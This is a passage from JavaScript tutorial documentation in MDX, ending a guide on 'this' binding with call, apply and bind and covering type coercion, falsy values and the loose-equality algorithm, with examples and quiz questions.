const alice = { name: "Alice" }; const bob = { name: "Bob" }; const greetAlice = greet.bind(alice); console.log(greetAlice.call(bob)); ``` **Answer:** `"Hello, Alice!"` Once a function is bound with `bind()`, its `this` cannot be changed — not even with `call()`. The binding is permanent. </Accordion> <Accordion title="Question 4: What does this log?"> ```javascript const obj = { name: "Outer", inner: { name: "Inner", getName() { return this.name; } } }; console.log(obj.inner.getName()); ``` **Answer:** `"Inner"` With implicit binding, `this` is the object immediately to the left of the dot at call time. That's `obj.inner`, not `obj`. </Accordion> <Accordion title="Question 5: What does this log?"> ```javascript const calculator = { value: 10, add(numbers) { numbers.forEach(function(n) { this.value += n; }); return this.value; } }; console.log(calculator.add([1, 2, 3])); ``` **Answer:** `10` (and likely a TypeError in strict mode) The callback function inside `forEach` has its own `this` (default binding), which is `undefined` in strict mode. The fix is to use an arrow function: `numbers.forEach((n) => { this.value += n; })`. </Accordion> <Accordion title="Question 6: What does this log?"> ```javascript function multiply(a, b) { return a * b; } const double = multiply.bind(null, 2); console.log(double(5)); console.log(double.length); ``` **Answer:** `10` and `1` `bind` creates a partially applied function. `double(5)` returns `2 * 5 = 10`. The `length` property of a bound function reflects remaining parameters: `multiply` has 2 params, we pre-filled 1, so `double.length` is 1. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is 'this' in JavaScript?"> The `this` keyword refers to the object that is currently executing the function. Unlike most languages where `this` is determined at definition time, JavaScript determines `this` at call time based on how the function is invoked. As documented on MDN, `this` follows specific binding rules: default, implicit, explicit (call/apply/bind), and new binding. </Accordion> <Accordion title="What is the difference between call, apply, and bind?"> `call` invokes the function immediately with a specified `this` and individual arguments. `apply` also invokes immediately but takes arguments as an array. `bind` does not invoke the function — it returns a new function with `this` permanently set. Use `call`/`apply` for one-time invocations and `bind` when you need a reusable function with a fixed context. </Accordion> <Accordion title="Why do arrow functions not have their own 'this'?"> Arrow functions were designed to solve the common problem of losing `this` context in callbacks. According to the ECMAScript 2015 specification, arrow functions do not have their own `this` binding — they inherit `this` from their enclosing lexical scope. This makes them ideal for callbacks and event handlers where you want to preserve the outer `this`. </Accordion> <Accordion title="How do you fix 'this' losing context in a callback?"> There are three common solutions: use an arrow function (which inherits `this` lexically), use `.bind(this)` to create a bound function, or store `this` in a variable like `const self = this`. Arrow functions are the most modern and concise approach and are recommended for most callback scenarios. </Accordion> <Accordion title="What are the five binding rules for 'this' in order of priority?"> From highest to lowest priority: (1) `new` binding — `this` is the newly created object. (2) Explicit binding — `call`, `apply`, or `bind` set `this`. (3) Implicit binding — the object before the dot becomes `this`. (4) Default binding — `this` is `globalThis` (or `undefined` in strict mode). (5) Arrow functions — `this` is inherited from the enclosing scope and cannot be overridden. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Scope & Closures" icon="eye" href="/concepts/scope-and-closures"> How variables are accessed — related to lexical this in arrow functions </Card> <Card title="Object Creation & Prototypes" icon="hammer" href="/concepts/object-creation-prototypes"> How the new keyword creates objects and binds this </Card> <Card title="Factories and Classes" icon="industry" href="/concepts/factories-classes"> Object creation patterns that rely on this binding </Card> <Card title="Inheritance & Polymorphism" icon="link" href="/concepts/inheritance-polymorphism"> Understanding the prototype chain and method inheritance </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="this — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this"> Official MDN documentation on the this keyword </Card> <Card title="call() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call"> MDN documentation for Function.prototype.call() </Card> <Card title="apply() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply"> MDN documentation for Function.prototype.apply() </Card> <Card title="bind() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind"> MDN documentation for Function.prototype.bind() </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Grokking call(), apply() and bind() methods in JavaScript" icon="newspaper" href="https://levelup.gitconnected.com/grokking-call-apply-and-bind-methods-in-javascript-392351a4be8b"> Uses a "borrowing a car" analogy that makes method borrowing click instantly. The side-by-side comparisons of call vs apply syntax are especially helpful. </Card> <Card title="Javascript: call(), apply() and bind()" icon="newspaper" href="https://medium.com/@omergoldberg/javascript-call-apply-and-bind-e5c27301f7bb"> Builds understanding progressively from basic examples to implementing your own bind. Great for developers who want to know what's happening under the hood. </Card> <Card title="The Top 7 Tricky this Interview Questions" icon="newspaper" href="https://dmitripavlutin.com/javascript-this-interview-questions/"> Dmitri Pavlutin's collection of challenging this-related questions to test your understanding. </Card> <Card title="How to understand the keyword this and context in JavaScript" icon="newspaper" href="https://www.freecodecamp.org/news/how-to-understand-the-keyword-this-and-context-in-javascript-cd624c6b74b8/"> Covers the relationship between execution context and `this` binding that many tutorials skip. The "3 scenarios" framework makes debugging `this` issues straightforward. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript call, apply and bind" icon="video" href="https://www.youtube.com/watch?v=c0mLRpw-9rI"> Explains each method by solving real problems like borrowing array methods. The visual code walkthroughs make the execution order crystal clear. </Card> <Card title="JS Function Methods call(), apply(), and bind()" icon="video" href="https://www.youtube.com/watch?v=uBdH0iB1VDM"> Shows exactly when `this` gets assigned during function execution. The step-through debugging demonstrations reveal what's actually happening in memory. </Card> <Card title="bind and this - Object Creation in JavaScript" icon="video" href="https://www.youtube.com/watch?v=GhbhD1HR5vk"> MPJ's signature storytelling style makes `this` binding feel intuitive. Part of a larger series that builds up to understanding JavaScript's object system. </Card> <Card title="Javascript Interview Questions (Call, Bind and Apply)" icon="video" href="https://www.youtube.com/watch?v=VkmUOktYDAU"> Roadside Coder's interview-focused video covering common questions about these methods. </Card> </CardGroup> ================================================ FILE: docs/concepts/type-coercion.mdx ================================================ --- title: "Type Coercion" sidebarTitle: "Type Coercion: How Values Convert Automatically" description: "Learn JavaScript type coercion. Understand how values convert to strings, numbers, and booleans, plus the 8 falsy values." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "JavaScript Fundamentals" "article:tag": "javascript type coercion, implicit conversion, abstract equality, truthy falsy values, javascript type casting" --- Why does `"5" + 3` give you `"53"` but `"5" - 3` gives you `2`? Why does `[] == ![]` return `true`? How does JavaScript decide what type a value should be? ```javascript // JavaScript's "helpful" type conversion in action console.log("5" + 3); // "53" (string concatenation!) console.log("5" - 3); // 2 (numeric subtraction) console.log([] == ![]); // true (wait, what?!) ``` This surprising behavior is **[type coercion](https://developer.mozilla.org/en-US/docs/Glossary/Type_coercion)**. JavaScript automatically converts values from one type to another. Understanding these rules helps you avoid bugs and write more predictable code. <Info> **What you'll learn in this guide:** - The difference between implicit and explicit coercion - How JavaScript converts to strings, numbers, and booleans - The 8 falsy values every developer must memorize - How objects convert to primitives - The famous JavaScript "WAT" moments explained - Best practices for avoiding coercion bugs </Info> <Warning> **Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types). If terms like string, number, boolean, null, and undefined are new to you, read that guide first! </Warning> --- ## What Is Type Coercion? **Type coercion** is the automatic or implicit conversion of values from one data type to another in JavaScript. According to the ECMAScript specification, JavaScript performs these conversions through a set of "abstract operations" — internal algorithms like ToString, ToNumber, and ToBoolean. When you use operators or functions that expect a certain type, JavaScript will convert (coerce) values to make the operation work, sometimes helpfully, sometimes surprisingly. Understanding these conversion rules helps you write predictable, bug-free code. ### The Shapeshifter Analogy Imagine JavaScript as an overly helpful translator. When you give it values of different types, it tries to "help" by converting them, sometimes correctly, sometimes... creatively. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE OVERLY HELPFUL TRANSLATOR │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOU: "Hey JavaScript, add 5 and '3' together" │ │ │ │ JAVASCRIPT (thinking): "Hmm, one's a number, one's a string... │ │ I'll just convert the number to a string! │ │ '5' + '3' = '53'. You're welcome!" │ │ │ │ YOU: "That's... not what I meant." │ │ │ │ JAVASCRIPT: "¯\_(ツ)_/¯" │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` This "helpful" behavior is called **type coercion**. JavaScript automatically converts values from one type to another. Sometimes it's useful, sometimes it creates bugs that will haunt your dreams. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ TYPE COERCION: THE SHAPESHIFTER │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────┐ ┌─────────┐ │ │ │ "5" │ ──── + 3 ────────► │ "53" │ String won! │ │ │ string │ │ string │ │ │ └─────────┘ └─────────┘ │ │ │ │ ┌─────────┐ ┌─────────┐ │ │ │ "5" │ ──── - 3 ────────► │ 2 │ Number won! │ │ │ string │ │ number │ │ │ └─────────┘ └─────────┘ │ │ │ │ Same values, different operators, different results! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Explicit vs Implicit Coercion There are two ways coercion happens: <Tabs> <Tab title="Explicit Coercion"> **You** control the conversion using built-in functions. This is predictable and intentional. ```javascript // YOU decide when and how to convert Number("42") // 42 String(42) // "42" Boolean(1) // true parseInt("42px") // 42 parseFloat("3.14") // 3.14 ``` These functions — [`Number()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number), [`String()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String), [`Boolean()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean), [`parseInt()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt), and [`parseFloat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat) — give you full control. This is the **safe** way. You know exactly what's happening. </Tab> <Tab title="Implicit Coercion"> **JavaScript** automatically converts types when operators or functions expect a different type. ```javascript // JavaScript "helps" without asking "5" + 3 // "53" (number became string) "5" - 3 // 2 (string became number) if ("hello") {} // string became boolean (true) 5 == "5" // true (types were coerced) ``` This is where bugs hide. Learn the rules or suffer the consequences! </Tab> </Tabs> ### Why Does JavaScript Do This? JavaScript is a **dynamically typed** language. Variables don't have fixed types. This flexibility means JavaScript needs to figure out what to do when types don't match. ```javascript // In JavaScript, variables can hold any type let x = 42; // x is a number x = "hello"; // now x is a string x = true; // now x is a boolean // So what happens here? let result = x + 10; // JavaScript must decide how to handle this ``` Other languages would throw an error. JavaScript tries to make it work. Whether that's a feature or a bug... depends on who you ask! --- ## The Three Types of Conversion Here's the most important rule: **JavaScript can only convert to THREE [primitive types](/concepts/primitive-types):** | Target Type | Explicit Method | Common Implicit Triggers | |-------------|-----------------|--------------------------| | **String** | `String(value)` | `+` with a string, template literals | | **Number** | `Number(value)` | Math operators (`- * / %`), comparisons | | **Boolean** | `Boolean(value)` | `if`, `while`, `!`, `&&`, `\|\|`, `? :` | That's it. No matter how complex the coercion seems, the end result is always a string, number, or boolean. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE THREE CONVERSION DESTINATIONS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────────────┐ │ │ │ ANY VALUE │ │ │ │ (string, number, │ │ │ │ object, array...) │ │ │ └──────────┬───────────┘ │ │ │ │ │ ┌────────────────┼────────────────┐ │ │ ▼ ▼ ▼ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ String │ │ Number │ │ Boolean │ │ │ │ "42" │ │ 42 │ │ true │ │ │ └──────────┘ └──────────┘ └──────────┘ │ │ │ │ These are the ONLY three possible destinations! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## String Conversion String conversion is the most straightforward. Almost anything can become a string. ### When Does It Happen? ```javascript // Explicit conversion String(123) // "123" String(true) // "true" (123).toString() // "123" // Implicit conversion 123 + "" // "123" (concatenation with empty string) `Value: ${123}` // "Value: 123" (template literal) "Hello " + 123 // "Hello 123" (+ with a string) ``` The [`toString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/toString) method and [template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) are also common ways to convert values to strings. ### String Conversion Rules | Value | Result | Notes | |-------|--------|-------| | `123` | `"123"` | Numbers become digit strings | | `-12.34` | `"-12.34"` | Decimals and negatives work too | | `true` | `"true"` | Booleans become their word | | `false` | `"false"` | | | `null` | `"null"` | | | `undefined` | `"undefined"` | | | `[1, 2, 3]` | `"1,2,3"` | Arrays join with commas | | `[]` | `""` | Empty array becomes empty string | | `{}` | `"[object Object]"` | Objects become this (usually useless) | | [`Symbol("id")`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) | Throws TypeError! | Symbols can't implicitly convert | ### The + Operator's Split Personality The `+` operator is special: it does **both** addition and concatenation: ```javascript // With two numbers: addition 5 + 3 // 8 // With any string involved: concatenation "5" + 3 // "53" (3 becomes "3") 5 + "3" // "53" (5 becomes "5") "Hello" + " World" // "Hello World" // Order matters with multiple operands! 1 + 2 + "3" // "33" (1+2=3, then 3+"3"="33") "1" + 2 + 3 // "123" (all become strings left-to-right) ``` <Warning> **Common gotcha:** The `+` operator with strings catches many developers off guard. If you're doing math and get unexpected string concatenation, check if any value might be a string! ```javascript // Dangerous: user input is always a string! const userInput = "5"; const result = userInput + 10; // "510", not 15! // Safe: convert first const result = Number(userInput) + 10; // 15 ``` </Warning> --- ## Number Conversion Number conversion has more triggers than string conversion, and more edge cases to memorize. ### When Does It Happen? ```javascript // Explicit conversion Number("42") // 42 parseInt("42px") // 42 (stops at non-digit) parseFloat("3.14") // 3.14 +"42" // 42 (unary plus trick) // Implicit conversion "6" - 2 // 4 (subtraction) "6" * 2 // 12 (multiplication) "6" / 2 // 3 (division) "6" % 4 // 2 (modulo) "10" > 5 // true (comparison) +"42" // 42 (unary plus) ``` ### Number Conversion Rules | Value | Result | Notes | |-------|--------|-------| | `"123"` | `123` | Numeric strings work | | `" 123 "` | `123` | Whitespace is trimmed | | `"123abc"` | [`NaN`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN) | Any non-numeric char → NaN | | `""` | `0` | Empty string becomes 0 | | `" "` | `0` | Whitespace-only becomes 0 | | `true` | `1` | | | `false` | `0` | | | `null` | `0` | null → 0 | | `undefined` | `NaN` | undefined → NaN (different!) | | `[]` | `0` | Empty array → "" → 0 | | `[1]` | `1` | Single element array | | `[1, 2]` | `NaN` | Multiple elements → NaN | | `{}` | `NaN` | Objects → NaN | <Warning> **null vs undefined:** Notice that `Number(null)` is `0` but `Number(undefined)` is `NaN`. This inconsistency trips up many developers! ```javascript Number(null) // 0 Number(undefined) // NaN null + 5 // 5 undefined + 5 // NaN ``` </Warning> ### Math Operators Always Convert to Numbers Unlike `+`, the other math operators (`-`, `*`, `/`, `%`) **only** do math. They always convert to numbers: ```javascript "6" - "2" // 4 (both become numbers) "6" * "2" // 12 "6" / "2" // 3 "10" % "3" // 1 // This is why - and + behave differently! "5" + 3 // "53" (concatenation) "5" - 3 // 2 (math) ``` ### The Unary + Trick The unary `+` (plus sign before a value) is a quick way to convert to a number: ```javascript +"42" // 42 +true // 1 +false // 0 +null // 0 +undefined // NaN +"hello" // NaN +"" // 0 ``` --- ## Boolean Conversion Boolean conversion is actually the simplest. Every value is either **truthy** or **falsy**. ### When Does It Happen? ```javascript // Explicit conversion Boolean(1) // true Boolean(0) // false !!value // double negation trick // Implicit conversion if (value) { } // condition check while (value) { } // loop condition value ? "yes" : "no" // ternary operator value && doSomething() // logical AND value || defaultValue // logical OR !value // logical NOT ``` ### The 8 Falsy Values (Memorize These!) As documented in MDN's reference on falsy values, there are **8 common values** that convert to `false`. Everything else is `true`. ```javascript // THE FALSY EIGHT Boolean(false) // false (obviously) Boolean(0) // false Boolean(-0) // false (yes, -0 exists) Boolean(0n) // false ([BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) zero) Boolean("") // false (empty string) Boolean(null) // false Boolean(undefined) // false Boolean(NaN) // false ``` <Info> **Technical note:** There's actually a 9th falsy value: [`document.all`](https://developer.mozilla.org/en-US/docs/Web/API/Document/all). It's a legacy browser API that returns `false` in boolean context despite being an object. You'll rarely encounter it in modern code, but it exists for backwards compatibility with ancient websites. </Info> ### Everything Else Is Truthy! This includes some surprises: ```javascript // These are all TRUE! Boolean(true) // true (obviously) Boolean(1) // true Boolean(-1) // true (negative numbers!) Boolean("hello") // true Boolean("0") // true (non-empty string!) Boolean("false") // true (non-empty string!) Boolean([]) // true (empty array!) Boolean({}) // true (empty object!) Boolean(function(){}) // true Boolean(new Date()) // true Boolean(Infinity) // true Boolean(-Infinity) // true ``` <Warning> **Common gotchas:** ```javascript // These catch people ALL the time: Boolean("0") // true (it's a non-empty string!) Boolean("false") // true (it's a non-empty string!) Boolean([]) // true (arrays are objects, objects are truthy) Boolean({}) // true (even empty objects) // If checking for empty array, do this: if (arr.length) { } // checks if array has items if (arr.length === 0) { } // checks if array is empty ``` </Warning> ### Logical Operators Don't Return Booleans! A common misconception: `&&` and `||` don't necessarily return `true` or `false`. They return one of the **original values**: ```javascript // || returns the FIRST truthy value (or the last value) "hello" || "world" // "hello" "" || "world" // "world" "" || 0 || null || "yes" // "yes" // && returns the FIRST falsy value (or the last value) "hello" && "world" // "world" "" && "world" // "" 1 && 2 && 3 // 3 // This is useful for defaults! const name = userInput || "Anonymous"; const display = user && user.name; ``` --- ## Object to Primitive Conversion When JavaScript needs to convert an [object to a primitive](/concepts/primitives-objects) (including arrays), it follows a specific algorithm. ### The ToPrimitive Algorithm <Steps> <Step title="Check if already primitive"> If the value is already a primitive (string, number, boolean, etc.), return it as-is. </Step> <Step title="Determine the 'hint'"> JavaScript decides whether it wants a "string" or "number" based on context: - **String hint:** `String()`, template literals, property keys - **Number hint:** `Number()`, math operators, comparisons - **Default hint:** `+` operator, `==` (usually treated as number) </Step> <Step title="Try valueOf() or toString()"> - For **number** hint: try `valueOf()` first, then `toString()` - For **string** hint: try `toString()` first, then `valueOf()` </Step> <Step title="Return primitive or throw"> If a primitive is returned, use it. Otherwise, throw `TypeError`. </Step> </Steps> ### How Built-in Objects Convert ```javascript // Arrays - toString() returns joined elements [1, 2, 3].toString() // "1,2,3" [1, 2, 3] + "" // "1,2,3" [1, 2, 3] - 0 // NaN (can't convert "1,2,3" to number) [].toString() // "" [] + "" // "" [] - 0 // 0 (empty string → 0) [1].toString() // "1" [1] - 0 // 1 // Plain objects - toString() returns "[object Object]" ({}).toString() // "[object Object]" ({}) + "" // "[object Object]" // Dates - special case, prefers string for + operator const date = new Date(0); date.toString() // "Thu Jan 01 1970 ..." date.valueOf() // 0 (timestamp in ms) date + "" // "Thu Jan 01 1970 ..." (uses toString) date - 0 // 0 (uses valueOf) ``` ### Custom Conversion with valueOf and toString You can control how your objects convert: ```javascript const price = { amount: 99.99, currency: "USD", valueOf() { return this.amount; }, toString() { return `${this.currency} ${this.amount}`; } }; // Number conversion uses valueOf() price - 0 // 99.99 price * 2 // 199.98 +price // 99.99 // String conversion uses toString() String(price) // "USD 99.99" `Price: ${price}` // "Price: USD 99.99" // + is ambiguous, uses valueOf() if it returns primitive price + "" // "99.99" (valueOf returned number, then → string) ``` ### ES6 Symbol.toPrimitive ES6 introduced a cleaner way to control conversion — [`Symbol.toPrimitive`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive): ```javascript const obj = { [Symbol.toPrimitive](hint) { console.log(`Converting with hint: ${hint}`); if (hint === "number") { return 42; } if (hint === "string") { return "forty-two"; } // hint === "default" return "default value"; } }; +obj // 42 (hint: "number") `${obj}` // "forty-two" (hint: "string") obj + "" // "default value" (hint: "default") ``` --- ## The == Algorithm Explained The loose equality operator `==` is where type coercion gets wild. For a deeper dive into all equality operators, see our [Equality Operators guide](/concepts/equality-operators). Here's how `==` actually works: ### Simplified == Rules <Steps> <Step title="Same type?"> Compare directly (like `===`). ```javascript 5 == 5 // true "hello" == "hello" // true ``` </Step> <Step title="null or undefined?"> `null == undefined` is `true`. Neither equals anything else. ```javascript null == undefined // true null == null // true null == 0 // false (special rule!) null == "" // false ``` </Step> <Step title="Number vs String?"> Convert the string to a number. ```javascript 5 == "5" // becomes: 5 == 5 // result: true ``` </Step> <Step title="Boolean involved?"> Convert the boolean to a number FIRST. ```javascript true == "1" // step 1: 1 == "1" (true → 1) // step 2: 1 == 1 (string → number) // result: true true == "true" // step 1: 1 == "true" (true → 1) // step 2: 1 == NaN ("true" → NaN) // result: false (surprise!) ``` </Step> <Step title="Object vs Primitive?"> Convert the object to a primitive. ```javascript [1] == 1 // step 1: "1" == 1 (array → string "1") // step 2: 1 == 1 (string → number) // result: true ``` </Step> </Steps> ### Step-by-Step Examples ```javascript // Example 1: "5" == 5 "5" == 5 // String vs Number → convert string to number // 5 == 5 // Result: true // Example 2: true == "1" true == "1" // Boolean involved → convert boolean to number first // 1 == "1" // Number vs String → convert string to number // 1 == 1 // Result: true // Example 3: [] == false [] == false // Boolean involved → convert boolean to number first // [] == 0 // Object vs Number → convert object to primitive // "" == 0 (empty array → empty string) // String vs Number → convert string to number // 0 == 0 // Result: true // Example 4: [] == ![] [] == ![] // First, evaluate ![] → false (arrays are truthy) // [] == false // Boolean involved → false becomes 0 // [] == 0 // Object vs Number → [] becomes "" // "" == 0 // String vs Number → "" becomes 0 // 0 == 0 // Result: true (yes, really!) ``` <Tip> **Just use `===`!** The triple equals operator never coerces types. If the types are different, it returns `false` immediately. This is almost always what you want. ```javascript 5 === "5" // false (different types) 5 == "5" // true (coerced) null === undefined // false null == undefined // true ``` </Tip> --- ## Operators & Coercion Cheat Sheet Quick reference for which operators trigger which coercion: | Operator | Coercion Type | Example | Result | |----------|---------------|---------|--------| | `+` (with string) | String | `"5" + 3` | `"53"` | | `+` (unary) | Number | `+"5"` | `5` | | `-` `*` `/` `%` | Number | `"5" - 3` | `2` | | `++` `--` | Number | `let x = "5"; x++` | `6` | | `>` `<` `>=` `<=` | Number | `"10" > 5` | `true` | | `==` `!=` | Complex | `"5" == 5` | `true` | | `===` `!==` | None | `"5" === 5` | `false` | | `&&` `\|\|` | Boolean (internal) | `"hi" \|\| "bye"` | `"hi"` | | `!` | Boolean | `!"hello"` | `false` | | `if` `while` `? :` | Boolean | `if ("hello")` | `true` | | `&` `\|` `^` `~` | Number (32-bit int) | `"5" \| 0` | `5` | --- ## JavaScript WAT Moments Let's explore the famous "weird parts" that make JavaScript... special. <AccordionGroup> <Accordion title="1. The + Operator's Split Personality"> ```javascript "5" + 3 // "53" (string concatenation) "5" - 3 // 2 (math!) // Why? + does both addition AND concatenation // If either operand is a string, it concatenates // - only does subtraction, so it converts to numbers ``` </Accordion> <Accordion title="2. Empty Array Weirdness"> ```javascript [] + [] // "" // Both arrays → "", then "" + "" = "" [] + {} // "[object Object]" // [] → "", {} → "[object Object]" {} + [] // 0 (in browser console!) // {} is parsed as empty block, then +[] = 0 // Wrap in parens to fix: ({}) + [] = "[object Object]" ``` </Accordion> <Accordion title="3. Boolean Math"> ```javascript true + true // 2 (1 + 1) true + false // 1 (1 + 0) true - true // 0 (1 - 1) // Booleans convert to 1 (true) or 0 (false) ``` </Accordion> <Accordion title="4. The Infamous [] == ![]"> ```javascript [] == ![] // true // Step by step: // 1. ![] → false (arrays are truthy, negated = false) // 2. [] == false // 3. [] == 0 (boolean → number) // 4. "" == 0 (array → string) // 5. 0 == 0 (string → number) // 6. true! // Meanwhile... [] === ![] // false (different types, no coercion) ``` </Accordion> <Accordion title='5. "foo" + + "bar"'> ```javascript "foo" + + "bar" // "fooNaN" // Step by step: // 1. +"bar" is evaluated first (unary +) // 2. +"bar" → NaN (can't convert "bar" to number) // 3. "foo" + NaN → "fooNaN" ``` </Accordion> <Accordion title="6. NaN is Not Equal to Itself"> ```javascript NaN === NaN // false NaN == NaN // false // NaN is the only value in JavaScript not equal to itself! // This is by design (IEEE 754 spec) // How to check for NaN: Number.isNaN(NaN) // true (correct way) isNaN(NaN) // true isNaN("hello") // true (wrong! it converts first) Number.isNaN("hello") // false (correct) ``` Use [`Number.isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN) instead of the global [`isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN) for reliable NaN checking. </Accordion> <Accordion title="7. typeof Quirks"> ```javascript typeof NaN // "number" (wat) typeof null // "object" (historical bug) typeof [] // "object" (arrays are objects) typeof function(){} // "function" (special case) ``` </Accordion> <Accordion title="8. Adding Arrays"> ```javascript [1, 2] + [3, 4] // "1,23,4" // Arrays convert to strings: // [1, 2] → "1,2" // [3, 4] → "3,4" // "1,2" + "3,4" → "1,23,4" // To actually combine arrays: [...[1, 2], ...[3, 4]] // [1, 2, 3, 4] [1, 2].concat([3, 4]) // [1, 2, 3, 4] ``` </Accordion> </AccordionGroup> --- ## Best Practices <Tip> **How to avoid coercion bugs:** 1. **Use `===` instead of `==`** — No surprises, no coercion 2. **Be explicit** — Use `Number()`, `String()`, `Boolean()` when converting 3. **Validate input** — Don't assume types, especially from user input 4. **Use `Number.isNaN()`** — Not `isNaN()` or `=== NaN` 5. **Be careful with `+`** — Remember it concatenates if any operand is a string </Tip> ### When Implicit Coercion IS Useful Stack Overflow's 2023 Developer Survey reports that type-related bugs remain among the most common debugging challenges for JavaScript developers. Despite the gotchas, some implicit coercion patterns are actually helpful: ```javascript // 1. Checking for null OR undefined in one shot if (value == null) { // This catches BOTH null and undefined // Much cleaner than: if (value === null || value === undefined) } // 2. Boolean context is natural and readable if (user) { // Truthy check - totally fine } if (items.length) { // Checking if array has items - totally fine } // 3. Quick string conversion const str = value + ""; // or const str = String(value); // or const str = `${value}`; // 4. Quick number conversion const num = +value; // or const num = Number(value); ``` ### Anti-Patterns to Avoid ```javascript // BAD: Relying on == for type-unsafe comparisons if (x == true) { } // Don't do this! if (x) { } // Do this instead // BAD: Using == with 0 or "" if (x == 0) { } // Matches "", but not null (null == 0 is false!) if (x === 0) { } // Clear intent // BAD: Truthy check when you need specific type function process(count) { if (!count) return; // Fails for count = 0! // ... } function process(count) { if (typeof count !== "number") return; // Better // ... } ``` --- ## Key Takeaways <Info> **The key things to remember about Type Coercion:** 1. **Three conversions only** — JavaScript converts to String, Number, or Boolean — nothing else 2. **Implicit vs Explicit** — Know when JS converts automatically vs when you control it 3. **The 8 common falsy values** — `false`, `0`, `-0`, `0n`, `""`, `null`, `undefined`, `NaN` — everything else is truthy (plus the rare `document.all`) 4. **+ is special** — It prefers string concatenation if ANY operand is a string 5. **- * / % are consistent** — They ALWAYS convert to numbers 6. **== coerces, === doesn't** — Use `===` by default to avoid surprises 7. **null == undefined** — This is true, but neither equals anything else with `==` 8. **Objects convert via valueOf() and toString()** — Learn these methods to control conversion 9. **When in doubt, be explicit** — Use `Number()`, `String()`, `Boolean()` 10. **NaN is unique** — It's the only value not equal to itself; use `Number.isNaN()` to check </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title='Question 1: What does "5" + 3 return and why?'> **Answer:** `"53"` (string) The `+` operator, when one operand is a string, performs string concatenation. The number `3` is converted to `"3"`, resulting in `"5" + "3" = "53"`. </Accordion> <Accordion title="Question 2: What are the 8 common falsy values in JavaScript?"> **Answer:** 1. `false` 2. `0` 3. `-0` 4. `0n` (BigInt zero) 5. `""` (empty string) 6. `null` 7. `undefined` 8. `NaN` Everything else is truthy, including `[]`, `{}`, `"0"`, and `"false"`. **Bonus:** There's also a 9th falsy value — `document.all` — a legacy browser API you'll rarely encounter. </Accordion> <Accordion title="Question 3: Why does [] == ![] return true?"> **Answer:** This is a multi-step coercion: 1. `![]` evaluates first: arrays are truthy, so `![]` = `false` 2. Now we have `[] == false` 3. Boolean converts to number: `[] == 0` 4. Array converts to primitive: `"" == 0` 5. String converts to number: `0 == 0` 6. Result: `true` </Accordion> <Accordion title="Question 4: What's the difference between == and === regarding coercion?"> **Answer:** - `===` (strict equality) **never** coerces. If types differ, it returns `false` immediately. - `==` (loose equality) **coerces** values to the same type before comparing, following a complex algorithm. ```javascript 5 === "5" // false (different types) 5 == "5" // true (string coerced to number) ``` Best practice: Use `===` unless you specifically need coercion. </Accordion> <Accordion title="Question 5: What does Number(null) vs Number(undefined) return?"> **Answer:** ```javascript Number(null) // 0 Number(undefined) // NaN ``` This inconsistency is a common source of bugs. `null` converts to `0` (like "nothing" = zero), while `undefined` converts to `NaN` (like "no value" = not a number). </Accordion> <Accordion title='Question 6: Predict the output: true + false + "hello"'> **Answer:** `"1hello"` Step by step: 1. `true + false` = `1 + 0` = `1` (booleans → numbers) 2. `1 + "hello"` = `"1hello"` (number → string for concatenation) </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is type coercion in JavaScript?"> Type coercion is JavaScript's automatic conversion of values from one type to another. According to the ECMAScript specification, all coercion ultimately converts to one of three primitive types: String, Number, or Boolean. It can be implicit (triggered by operators) or explicit (using functions like `Number()`, `String()`, or `Boolean()`). </Accordion> <Accordion title="What are the falsy values in JavaScript?"> There are 8 common falsy values: `false`, `0`, `-0`, `0n` (BigInt zero), `""` (empty string), `null`, `undefined`, and `NaN`. As documented by MDN, every other value in JavaScript is truthy — including empty arrays `[]`, empty objects `{}`, and the string `"0"`. </Accordion> <Accordion title='Why does "5" + 3 return "53" but "5" - 3 returns 2?'> The `+` operator has a dual role: it performs both addition and string concatenation. When either operand is a string, `+` concatenates. The `-` operator only performs subtraction, so it always converts operands to numbers. This asymmetry is one of the most frequently asked JavaScript interview questions according to Stack Overflow 